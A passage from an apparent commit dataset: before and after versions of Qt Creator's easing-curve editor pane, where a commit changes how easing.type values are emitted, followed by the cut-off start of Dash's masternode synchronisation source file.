are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"easingcontextpane.h\"\n#include \"ui_easingcontextpane.h\"\n#include <qmljs\/qmljspropertyreader.h>\n\n#include <QGraphicsPixmapItem>\n#include <QGraphicsScene>\n#include <QPropertyAnimation>\n#include <QSequentialAnimationGroup>\n\nnamespace QmlEditorWidgets {\n\nclass PixmapItem : public QObject, public QGraphicsPixmapItem\n{\n    Q_OBJECT\n    Q_PROPERTY(QPointF pos READ pos WRITE setPos)\npublic:\n    PixmapItem(const QPixmap &pix) : QGraphicsPixmapItem(pix) { }\n};\n\nclass EasingSimulation : public QObject\n{\n    Q_OBJECT\npublic:\n    QGraphicsView *m_g;\n    EasingSimulation(QObject *parent=0, QGraphicsView *v=0):QObject(parent) {\n        m_qtLogo = new PixmapItem(QPixmap(\":\/qt_logo.png\"));\n        m_scene.addItem(m_qtLogo);\n        m_scene.setSceneRect(0,0,v->viewport()->width(),m_qtLogo->boundingRect().height());\n        m_qtLogo->hide();\n        m_sequential = 0;\n        m_g = v;\n        m_g->setScene(&m_scene);\n    }\n\n    ~EasingSimulation() { delete m_qtLogo; }\n\n    QGraphicsScene *scene() { return &m_scene; }\n    void show() { m_qtLogo->show(); }\n    void hide() { m_qtLogo->hide(); }\n    void reset() {\n        m_qtLogo->setPos(0,0);\n        m_scene.setSceneRect(0,0,m_g->viewport()->width(),m_qtLogo->boundingRect().height());\n    }\n    void stop() {\n        if (m_sequential) {\n            m_sequential->stop();\n            reset();\n            emit finished();\n        }\n    }\n    bool running() {\n        if (m_sequential)\n            return m_sequential->state()==QAbstractAnimation::Running;\n        else\n            return false;\n    }\n    void updateCurve(QEasingCurve newCurve, int newDuration) {\n        if (running()) {\n            m_sequential->pause();\n            static_cast<QPropertyAnimation *>(m_sequential->animationAt(1))->setEasingCurve(newCurve);\n            static_cast<QPropertyAnimation *>(m_sequential->animationAt(1))->setDuration(newDuration);\n            m_sequential->resume();\n        }\n    }\n    void animate(int duration, QEasingCurve curve) {\n        reset();\n        m_sequential = new QSequentialAnimationGroup;\n        connect(m_sequential,SIGNAL(finished()),this,SIGNAL(finished()));\n        m_sequential->addPause(150);\n        QPropertyAnimation *m_anim = new QPropertyAnimation (m_qtLogo, \"pos\");\n        m_anim->setStartValue(QPointF(0, 0));\n        m_anim->setEndValue(QPointF(m_scene.sceneRect().width() - m_qtLogo->boundingRect().width(), 0));\n        m_anim->setDuration(duration);\n        m_anim->setEasingCurve(curve);\n        m_sequential->addAnimation(m_anim);\n        m_sequential->addPause(300);\n        m_sequential->start();\n    }\n\nsignals:\n    void finished();\n\nprivate:\n    PixmapItem *m_qtLogo;\n    QGraphicsScene m_scene;\n    QSequentialAnimationGroup *m_sequential;\n};\n\n\nEasingContextPane::EasingContextPane(QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::EasingContextPane)\n{\n    ui->setupUi(this);\n\n    m_simulation = new EasingSimulation(this,ui->graphicsView);\n\n    m_easingGraph = new EasingGraph(this);\n    m_easingGraph->raise();\n    setLinear();\n\n    ui->playButton->setIcon(QIcon(QLatin1String(\":\/playicon.png\")));\n\n\n\n    setGraphDisplayMode(GraphMode);\n\n    connect(m_simulation,SIGNAL(finished()),this,SLOT(switchToGraph()));\n}\n\nEasingContextPane::~EasingContextPane()\n{\n    delete ui;\n}\n\n\nbool EasingContextPane::acceptsType(const QStringList &types)\n{\n    return types.contains(\"NumberAnimation\") ||\n            types.contains(\"PropertyAnimation\") ||\n            types.contains(\"ColorAnimation\") ||\n            types.contains(\"RotationAnimation\");\n}\n\nvoid EasingContextPane::setProperties(QmlJS::PropertyReader *propertyReader)\n{\n    m_easingGraph->setGeometry(ui->graphicsView->geometry().adjusted(2,2,-2,-2));\n    QString newEasingType = QString(\"Linear\");\n    if (propertyReader->hasProperty(QLatin1String(\"easing.type\"))) {\n        newEasingType = propertyReader->readProperty(QLatin1String(\"easing.type\")).toString();\n        if (newEasingType.contains(\".\"))\n            newEasingType = newEasingType.right(newEasingType.length() - newEasingType.indexOf(\".\") - 1);\n    }\n\n    m_easingGraph->setEasingName(newEasingType);\n    ui->easingShapeComboBox->setCurrentIndex(ui->easingShapeComboBox->findText(m_easingGraph->easingShape()));\n    ui->easingExtremesComboBox->setCurrentIndex(ui->easingExtremesComboBox->findText(m_easingGraph->easingExtremes()));\n\n\n    if (propertyReader->hasProperty(QLatin1String(\"easing.period\"))) {\n        qreal period = propertyReader->readProperty(QLatin1String(\"easing.period\")).toDouble();\n        if (period < ui->periodSpinBox->minimum() || period > ui->periodSpinBox->maximum())\n            ui->periodSpinBox->setValue(ui->periodSpinBox->minimum());\n        else\n            ui->periodSpinBox->setValue(period);\n    }\n    else\n        ui->periodSpinBox->setValue(0.3);\n\n    if (propertyReader->hasProperty(QLatin1String(\"easing.amplitude\"))) {\n        qreal amplitude = propertyReader->readProperty(QLatin1String(\"easing.amplitude\")).toDouble();\n        if (amplitude < ui->amplitudeSpinBox->minimum() || amplitude > ui->amplitudeSpinBox->maximum())\n            ui->amplitudeSpinBox->setValue(ui->amplitudeSpinBox->minimum());\n        else\n            ui->amplitudeSpinBox->setValue(amplitude);\n    }\n    else\n        ui->amplitudeSpinBox->setValue(1.0);\n\n    if (propertyReader->hasProperty(QLatin1String(\"easing.overshoot\"))) {\n        qreal overshoot = propertyReader->readProperty(QLatin1String(\"easing.overshoot\")).toDouble();\n        if (overshoot < ui->overshootSpinBox->minimum() || overshoot > ui->overshootSpinBox->maximum())\n            ui->overshootSpinBox->setValue(ui->overshootSpinBox->minimum());\n        else\n            ui->overshootSpinBox->setValue(overshoot);\n    }\n    else\n        ui->overshootSpinBox->setValue(1.70158);\n\n    if (propertyReader->hasProperty(QLatin1String(\"duration\"))) {\n        qreal duration = propertyReader->readProperty(QLatin1String(\"duration\")).toInt();\n        if (duration < ui->durationSpinBox->minimum() || duration > ui->durationSpinBox->maximum())\n            ui->durationSpinBox->setValue(ui->durationSpinBox->minimum());\n        else\n            ui->durationSpinBox->setValue(duration);\n    }\n    else\n        ui->durationSpinBox->setValue(250);\n}\n\nvoid EasingContextPane::changeEvent(QEvent *e)\n{\n    QWidget::changeEvent(e);\n    switch (e->type()) {\n    case QEvent::LanguageChange:\n        ui->retranslateUi(this);\n        break;\n    default:\n        break;\n    }\n}\n\nvoid EasingContextPane::setGraphDisplayMode(GraphDisplayMode newMode)\n{\n    m_displayMode = newMode;\n    switch (newMode) {\n    case GraphMode: {\n            m_simulation->hide();\n            m_easingGraph->show();\n            break;\n        }\n    case SimulationMode: {\n            m_simulation->show();\n            m_easingGraph->hide();\n            break;\n        }\n    default: break;\n    }\n\n}\n\nvoid EasingContextPane::startAnimation()\n{\n    if (m_simulation->running())\n        m_simulation->stop();\n    else {\n        m_simulation->animate(ui->durationSpinBox->value(), m_easingGraph->easingCurve());\n        ui->playButton->setIcon(QIcon(QLatin1String(\":\/stopicon.png\")));\n    }\n\n}\n\nvoid EasingContextPane::switchToGraph()\n{\n    ui->playButton->setIcon(QIcon(QLatin1String(\":\/playicon.png\")));\n    setGraphDisplayMode(GraphMode);\n}\n\nvoid EasingContextPane::setOthers()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(false);\n}\n\nvoid EasingContextPane::setLinear()\n{\n    ui->easingExtremesComboBox->setEnabled(false);\n    ui->amplitudeSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(false);\n}\n\nvoid EasingContextPane::setBack()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(true);\n    ui->periodSpinBox->setEnabled(false);\n}\n\nvoid EasingContextPane::setElastic()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(true);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(true);\n}\n\nvoid EasingContextPane::setBounce()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(true);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(false);\n}\n\n} \/\/QmlDesigner\n\nvoid QmlEditorWidgets::EasingContextPane::on_durationSpinBox_valueChanged(int newValue)\n{\n    m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n    emit propertyChanged(QLatin1String(\"duration\"), newValue);\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_easingShapeComboBox_currentIndexChanged(QString newShape)\n{\n    if (newShape==\"Linear\")\n        setLinear();\n    else if (newShape==\"Bounce\")\n        setBounce();\n    else if (newShape==\"Elastic\")\n        setElastic();\n    else if (newShape==\"Back\")\n        setBack();\n    else\n        setOthers();\n\n    if (m_easingGraph->easingShape() != newShape) {\n        m_easingGraph->setEasingShape(newShape);\n        \/\/ reload easing parameters\n        m_easingGraph->setAmplitude(ui->amplitudeSpinBox->value());\n        m_easingGraph->setPeriod(ui->periodSpinBox->value());\n        m_easingGraph->setOvershoot(ui->overshootSpinBox->value());\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.type\"), QVariant(\"\\\"\"+m_easingGraph->easingName()+\"\\\"\"));\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_easingExtremesComboBox_currentIndexChanged(QString newExtremes)\n{\n    if (m_easingGraph->easingExtremes() != newExtremes) {\n        m_easingGraph->setEasingExtremes(newExtremes);\n        m_easingGraph->setAmplitude(ui->amplitudeSpinBox->value());\n        m_easingGraph->setPeriod(ui->periodSpinBox->value());\n        m_easingGraph->setOvershoot(ui->overshootSpinBox->value());\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.type\"), QVariant(\"\\\"\"+m_easingGraph->easingName()+\"\\\"\"));\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_amplitudeSpinBox_valueChanged(double newAmplitude)\n{\n    if ((newAmplitude != m_easingGraph->amplitude()) &&\n        (m_easingGraph->easingShape()==\"Bounce\" || m_easingGraph->easingShape()==\"Elastic\")) {\n        m_easingGraph->setAmplitude(newAmplitude);\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.amplitude\"), newAmplitude);\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_periodSpinBox_valueChanged(double newPeriod)\n{\n    if ((newPeriod != m_easingGraph->period()) && (m_easingGraph->easingShape()==\"Elastic\")) {\n        m_easingGraph->setPeriod(newPeriod);\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.period\"), newPeriod);\n    }\n\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_overshootSpinBox_valueChanged(double newOvershoot)\n{\n    if ((newOvershoot != m_easingGraph->overshoot()) && (m_easingGraph->easingShape()==\"Back\")) {\n        m_easingGraph->setOvershoot(newOvershoot);\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.overshoot\"), newOvershoot);\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_playButton_clicked()\n{\n    setGraphDisplayMode(SimulationMode);\n    startAnimation();\n}\n\n#include \"easingcontextpane.moc\"\n<commit_msg>QmlDesiger:  fixed format for the easing parameters in the easing dialog Reviewed by: Thomas Hartmann<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"easingcontextpane.h\"\n#include \"ui_easingcontextpane.h\"\n#include <qmljs\/qmljspropertyreader.h>\n\n#include <QGraphicsPixmapItem>\n#include <QGraphicsScene>\n#include <QPropertyAnimation>\n#include <QSequentialAnimationGroup>\n\nnamespace QmlEditorWidgets {\n\nclass PixmapItem : public QObject, public QGraphicsPixmapItem\n{\n    Q_OBJECT\n    Q_PROPERTY(QPointF pos READ pos WRITE setPos)\npublic:\n    PixmapItem(const QPixmap &pix) : QGraphicsPixmapItem(pix) { }\n};\n\nclass EasingSimulation : public QObject\n{\n    Q_OBJECT\npublic:\n    QGraphicsView *m_g;\n    EasingSimulation(QObject *parent=0, QGraphicsView *v=0):QObject(parent) {\n        m_qtLogo = new PixmapItem(QPixmap(\":\/qt_logo.png\"));\n        m_scene.addItem(m_qtLogo);\n        m_scene.setSceneRect(0,0,v->viewport()->width(),m_qtLogo->boundingRect().height());\n        m_qtLogo->hide();\n        m_sequential = 0;\n        m_g = v;\n        m_g->setScene(&m_scene);\n    }\n\n    ~EasingSimulation() { delete m_qtLogo; }\n\n    QGraphicsScene *scene() { return &m_scene; }\n    void show() { m_qtLogo->show(); }\n    void hide() { m_qtLogo->hide(); }\n    void reset() {\n        m_qtLogo->setPos(0,0);\n        m_scene.setSceneRect(0,0,m_g->viewport()->width(),m_qtLogo->boundingRect().height());\n    }\n    void stop() {\n        if (m_sequential) {\n            m_sequential->stop();\n            reset();\n            emit finished();\n        }\n    }\n    bool running() {\n        if (m_sequential)\n            return m_sequential->state()==QAbstractAnimation::Running;\n        else\n            return false;\n    }\n    void updateCurve(QEasingCurve newCurve, int newDuration) {\n        if (running()) {\n            m_sequential->pause();\n            static_cast<QPropertyAnimation *>(m_sequential->animationAt(1))->setEasingCurve(newCurve);\n            static_cast<QPropertyAnimation *>(m_sequential->animationAt(1))->setDuration(newDuration);\n            m_sequential->resume();\n        }\n    }\n    void animate(int duration, QEasingCurve curve) {\n        reset();\n        m_sequential = new QSequentialAnimationGroup;\n        connect(m_sequential,SIGNAL(finished()),this,SIGNAL(finished()));\n        m_sequential->addPause(150);\n        QPropertyAnimation *m_anim = new QPropertyAnimation (m_qtLogo, \"pos\");\n        m_anim->setStartValue(QPointF(0, 0));\n        m_anim->setEndValue(QPointF(m_scene.sceneRect().width() - m_qtLogo->boundingRect().width(), 0));\n        m_anim->setDuration(duration);\n        m_anim->setEasingCurve(curve);\n        m_sequential->addAnimation(m_anim);\n        m_sequential->addPause(300);\n        m_sequential->start();\n    }\n\nsignals:\n    void finished();\n\nprivate:\n    PixmapItem *m_qtLogo;\n    QGraphicsScene m_scene;\n    QSequentialAnimationGroup *m_sequential;\n};\n\n\nEasingContextPane::EasingContextPane(QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::EasingContextPane)\n{\n    ui->setupUi(this);\n\n    m_simulation = new EasingSimulation(this,ui->graphicsView);\n\n    m_easingGraph = new EasingGraph(this);\n    m_easingGraph->raise();\n    setLinear();\n\n    ui->playButton->setIcon(QIcon(QLatin1String(\":\/playicon.png\")));\n\n\n\n    setGraphDisplayMode(GraphMode);\n\n    connect(m_simulation,SIGNAL(finished()),this,SLOT(switchToGraph()));\n}\n\nEasingContextPane::~EasingContextPane()\n{\n    delete ui;\n}\n\n\nbool EasingContextPane::acceptsType(const QStringList &types)\n{\n    return types.contains(\"NumberAnimation\") ||\n            types.contains(\"PropertyAnimation\") ||\n            types.contains(\"ColorAnimation\") ||\n            types.contains(\"RotationAnimation\");\n}\n\nvoid EasingContextPane::setProperties(QmlJS::PropertyReader *propertyReader)\n{\n    m_easingGraph->setGeometry(ui->graphicsView->geometry().adjusted(2,2,-2,-2));\n    QString newEasingType = QString(\"Linear\");\n    if (propertyReader->hasProperty(QLatin1String(\"easing.type\"))) {\n        newEasingType = propertyReader->readProperty(QLatin1String(\"easing.type\")).toString();\n        if (newEasingType.contains(\".\"))\n            newEasingType = newEasingType.right(newEasingType.length() - newEasingType.indexOf(\".\") - 1);\n    }\n\n    m_easingGraph->setEasingName(newEasingType);\n    ui->easingShapeComboBox->setCurrentIndex(ui->easingShapeComboBox->findText(m_easingGraph->easingShape()));\n    ui->easingExtremesComboBox->setCurrentIndex(ui->easingExtremesComboBox->findText(m_easingGraph->easingExtremes()));\n\n\n    if (propertyReader->hasProperty(QLatin1String(\"easing.period\"))) {\n        qreal period = propertyReader->readProperty(QLatin1String(\"easing.period\")).toDouble();\n        if (period < ui->periodSpinBox->minimum() || period > ui->periodSpinBox->maximum())\n            ui->periodSpinBox->setValue(ui->periodSpinBox->minimum());\n        else\n            ui->periodSpinBox->setValue(period);\n    }\n    else\n        ui->periodSpinBox->setValue(0.3);\n\n    if (propertyReader->hasProperty(QLatin1String(\"easing.amplitude\"))) {\n        qreal amplitude = propertyReader->readProperty(QLatin1String(\"easing.amplitude\")).toDouble();\n        if (amplitude < ui->amplitudeSpinBox->minimum() || amplitude > ui->amplitudeSpinBox->maximum())\n            ui->amplitudeSpinBox->setValue(ui->amplitudeSpinBox->minimum());\n        else\n            ui->amplitudeSpinBox->setValue(amplitude);\n    }\n    else\n        ui->amplitudeSpinBox->setValue(1.0);\n\n    if (propertyReader->hasProperty(QLatin1String(\"easing.overshoot\"))) {\n        qreal overshoot = propertyReader->readProperty(QLatin1String(\"easing.overshoot\")).toDouble();\n        if (overshoot < ui->overshootSpinBox->minimum() || overshoot > ui->overshootSpinBox->maximum())\n            ui->overshootSpinBox->setValue(ui->overshootSpinBox->minimum());\n        else\n            ui->overshootSpinBox->setValue(overshoot);\n    }\n    else\n        ui->overshootSpinBox->setValue(1.70158);\n\n    if (propertyReader->hasProperty(QLatin1String(\"duration\"))) {\n        qreal duration = propertyReader->readProperty(QLatin1String(\"duration\")).toInt();\n        if (duration < ui->durationSpinBox->minimum() || duration > ui->durationSpinBox->maximum())\n            ui->durationSpinBox->setValue(ui->durationSpinBox->minimum());\n        else\n            ui->durationSpinBox->setValue(duration);\n    }\n    else\n        ui->durationSpinBox->setValue(250);\n}\n\nvoid EasingContextPane::changeEvent(QEvent *e)\n{\n    QWidget::changeEvent(e);\n    switch (e->type()) {\n    case QEvent::LanguageChange:\n        ui->retranslateUi(this);\n        break;\n    default:\n        break;\n    }\n}\n\nvoid EasingContextPane::setGraphDisplayMode(GraphDisplayMode newMode)\n{\n    m_displayMode = newMode;\n    switch (newMode) {\n    case GraphMode: {\n            m_simulation->hide();\n            m_easingGraph->show();\n            break;\n        }\n    case SimulationMode: {\n            m_simulation->show();\n            m_easingGraph->hide();\n            break;\n        }\n    default: break;\n    }\n\n}\n\nvoid EasingContextPane::startAnimation()\n{\n    if (m_simulation->running())\n        m_simulation->stop();\n    else {\n        m_simulation->animate(ui->durationSpinBox->value(), m_easingGraph->easingCurve());\n        ui->playButton->setIcon(QIcon(QLatin1String(\":\/stopicon.png\")));\n    }\n\n}\n\nvoid EasingContextPane::switchToGraph()\n{\n    ui->playButton->setIcon(QIcon(QLatin1String(\":\/playicon.png\")));\n    setGraphDisplayMode(GraphMode);\n}\n\nvoid EasingContextPane::setOthers()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(false);\n}\n\nvoid EasingContextPane::setLinear()\n{\n    ui->easingExtremesComboBox->setEnabled(false);\n    ui->amplitudeSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(false);\n}\n\nvoid EasingContextPane::setBack()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(false);\n    ui->overshootSpinBox->setEnabled(true);\n    ui->periodSpinBox->setEnabled(false);\n}\n\nvoid EasingContextPane::setElastic()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(true);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(true);\n}\n\nvoid EasingContextPane::setBounce()\n{\n    ui->easingExtremesComboBox->setEnabled(true);\n    ui->amplitudeSpinBox->setEnabled(true);\n    ui->overshootSpinBox->setEnabled(false);\n    ui->periodSpinBox->setEnabled(false);\n}\n\n} \/\/QmlDesigner\n\nvoid QmlEditorWidgets::EasingContextPane::on_durationSpinBox_valueChanged(int newValue)\n{\n    m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n    emit propertyChanged(QLatin1String(\"duration\"), newValue);\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_easingShapeComboBox_currentIndexChanged(QString newShape)\n{\n    if (newShape==\"Linear\")\n        setLinear();\n    else if (newShape==\"Bounce\")\n        setBounce();\n    else if (newShape==\"Elastic\")\n        setElastic();\n    else if (newShape==\"Back\")\n        setBack();\n    else\n        setOthers();\n\n    if (m_easingGraph->easingShape() != newShape) {\n        m_easingGraph->setEasingShape(newShape);\n        \/\/ reload easing parameters\n        m_easingGraph->setAmplitude(ui->amplitudeSpinBox->value());\n        m_easingGraph->setPeriod(ui->periodSpinBox->value());\n        m_easingGraph->setOvershoot(ui->overshootSpinBox->value());\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.type\"), QVariant(QLatin1String(\"Easing.\")+m_easingGraph->easingName()));\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_easingExtremesComboBox_currentIndexChanged(QString newExtremes)\n{\n    if (m_easingGraph->easingExtremes() != newExtremes) {\n        m_easingGraph->setEasingExtremes(newExtremes);\n        m_easingGraph->setAmplitude(ui->amplitudeSpinBox->value());\n        m_easingGraph->setPeriod(ui->periodSpinBox->value());\n        m_easingGraph->setOvershoot(ui->overshootSpinBox->value());\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.type\"), QVariant(QLatin1String(\"Easing.\")+m_easingGraph->easingName()));\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_amplitudeSpinBox_valueChanged(double newAmplitude)\n{\n    if ((newAmplitude != m_easingGraph->amplitude()) &&\n        (m_easingGraph->easingShape()==\"Bounce\" || m_easingGraph->easingShape()==\"Elastic\")) {\n        m_easingGraph->setAmplitude(newAmplitude);\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.amplitude\"), newAmplitude);\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_periodSpinBox_valueChanged(double newPeriod)\n{\n    if ((newPeriod != m_easingGraph->period()) && (m_easingGraph->easingShape()==\"Elastic\")) {\n        m_easingGraph->setPeriod(newPeriod);\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.period\"), newPeriod);\n    }\n\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_overshootSpinBox_valueChanged(double newOvershoot)\n{\n    if ((newOvershoot != m_easingGraph->overshoot()) && (m_easingGraph->easingShape()==\"Back\")) {\n        m_easingGraph->setOvershoot(newOvershoot);\n        m_simulation->updateCurve(m_easingGraph->easingCurve(),ui->durationSpinBox->value());\n        emit propertyChanged(QLatin1String(\"easing.overshoot\"), newOvershoot);\n    }\n}\n\nvoid QmlEditorWidgets::EasingContextPane::on_playButton_clicked()\n{\n    setGraphDisplayMode(SimulationMode);\n    startAnimation();\n}\n\n#include \"easingcontextpane.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2014-2015 The Dash developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"main.h\"\n#include \"masternode-sync.h\"\n#include \"masternode-payments.h\"\n#include \"masternode.h\"\n#include \"masternodeman.h\"\n#include \"util.h\"\n#include \"addrman.h\"\n\nclass CMasternodeSync;\nCMasternodeSync masternodeSync;\n\nCMasternodeSync::CMasternodeSync()\n{\n    lastMasternodeList = 0;\n    lastMasternodeWinner = 0;\n    lastBudgetItem = 0;\n    RequestedMasternodeAssets = MASTERNODE_SYNC_INITIAL;\n    RequestedMasternodeAttempt = 0;\n}\n\nbool CMasternodeSync::IsSynced()\n{\n    return (RequestedMasternodeAssets == MASTERNODE_SYNC_FINISHED);\n}\n\nvoid CMasternodeSync::AddedMasternodeList()\n{\n    lastMasternodeList = GetTime();\n}\n\nvoid CMasternodeSync::AddedMasternodeWinner()\n{\n    lastMasternodeWinner = GetTime();\n}\n\nvoid CMasternodeSync::AddedBudgetItem()\n{\n    lastBudgetItem = GetTime();\n}\n\nvoid CMasternodeSync::GetNextAsset()\n{\n    switch(RequestedMasternodeAssets)\n    {\n        case(MASTERNODE_SYNC_INITIAL):\n            lastMasternodeList = 0;\n            lastMasternodeWinner = 0;\n            lastBudgetItem = 0;\n            RequestedMasternodeAssets = MASTERNODE_SYNC_SPORKS;\n            break;\n        case(MASTERNODE_SYNC_SPORKS):\n            RequestedMasternodeAssets = MASTERNODE_SYNC_LIST;\n            break;\n        case(MASTERNODE_SYNC_LIST):\n            RequestedMasternodeAssets = MASTERNODE_SYNC_MNW;\n            break;\n        case(MASTERNODE_SYNC_MNW):\n            RequestedMasternodeAssets = MASTERNODE_SYNC_BUDGET;\n            break;\n        case(MASTERNODE_SYNC_BUDGET):\n            LogPrintf(\"CMasternodeSync::GetNextAsset - Sync has finished\\n\");\n            RequestedMasternodeAssets = MASTERNODE_SYNC_FINISHED;\n            break;\n    }\n    RequestedMasternodeAttempt = 0;\n}\n\nvoid CMasternodeSync::Process()\n{\n    static int c = 0;\n\n    if(IsSynced()) {\n        \/* \n            Resync if we lose all masternodes from sleep\/wake or failure to sync originally\n        *\/\n        if(mnodeman.CountEnabled() == 0) {\n            RequestedMasternodeAssets = MASTERNODE_SYNC_INITIAL;\n            GetNextAsset();\n        }\n        return;\n    }\n\n    if(c++ % MASTERNODE_SYNC_TIMEOUT != 0) return;\n\n    if(fDebug) LogPrintf(\"CMasternodeSync::Process() - RequestedMasternodeAssets %d c %d\\n\", RequestedMasternodeAssets, c);\n\n    if(RequestedMasternodeAssets == MASTERNODE_SYNC_INITIAL) GetNextAsset();\n\n    CBlockIndex* pindexPrev = chainActive.Tip();\n    if(pindexPrev == NULL) return;\n\n    LOCK(cs_vNodes);\n    BOOST_FOREACH(CNode* pnode, vNodes)\n    {\n\n        \/\/set to synced\n        if(Params().NetworkID() == CBaseChainParams::REGTEST && c >= 10) {\n            LogPrintf(\"CMasternodeSync::Process - Sync has finished\\n\");\n            RequestedMasternodeAssets = MASTERNODE_SYNC_FINISHED;\n            RequestedMasternodeAttempt = 0;\n        }\n\n        if(RequestedMasternodeAssets == MASTERNODE_SYNC_SPORKS){\n            if(pnode->HasFulfilledRequest(\"getspork\")) continue;\n            pnode->FulfilledRequest(\"getspork\");\n\n            if(RequestedMasternodeAttempt <= 2){\n                pnode->PushMessage(\"getsporks\"); \/\/get current network sporks\n                if(RequestedMasternodeAttempt == 2) GetNextAsset();\n                RequestedMasternodeAttempt++;\n            }\n            return;\n        }\n\n        \/\/don't begin syncing until we're at a recent block\n        if(pindexPrev->nHeight < pindexBestHeader->nHeight) return;\n\n        if (pnode->nVersion >= nMasternodeMinProtocol) {\n\n            if(RequestedMasternodeAssets == MASTERNODE_SYNC_LIST) {\n                if(fDebug) LogPrintf(\"CMasternodeSync::Process() - lastMasternodeList %lld (GetTime() - MASTERNODE_SYNC_TIMEOUT) %lld\\n\", lastMasternodeList, GetTime() - MASTERNODE_SYNC_TIMEOUT);\n                if(lastMasternodeList > 0 && lastMasternodeList < GetTime() - MASTERNODE_SYNC_TIMEOUT){ \/\/hasn't received a new item in the last five seconds, so we'll move to the\n                    GetNextAsset();\n                    return;\n                }\n\n                if(pnode->HasFulfilledRequest(\"mnsync\")) continue;\n                pnode->FulfilledRequest(\"mnsync\");\n\n                if((lastMasternodeList == 0 || lastMasternodeList > GetTime() - MASTERNODE_SYNC_TIMEOUT)\n                        && RequestedMasternodeAttempt <= 2){\n                    mnodeman.DsegUpdate(pnode);\n                    RequestedMasternodeAttempt++;\n                }\n                return;\n            }\n        }\n\n        if (pnode->nVersion >= masternodePayments.GetMinMasternodePaymentsProto()) {\n            if(RequestedMasternodeAssets == MASTERNODE_SYNC_MNW) {\n                if(lastMasternodeWinner > 0 && lastMasternodeWinner < GetTime() - MASTERNODE_SYNC_TIMEOUT){ \/\/hasn't received a new item in the last five seconds, so we'll move to the\n                    GetNextAsset();\n                    return;\n                }\n\n                if(pnode->HasFulfilledRequest(\"mnwsync\")) continue;\n                pnode->FulfilledRequest(\"mnwsync\");\n\n                if((lastMasternodeWinner == 0 || lastMasternodeWinner > GetTime() - MASTERNODE_SYNC_TIMEOUT)\n                        && 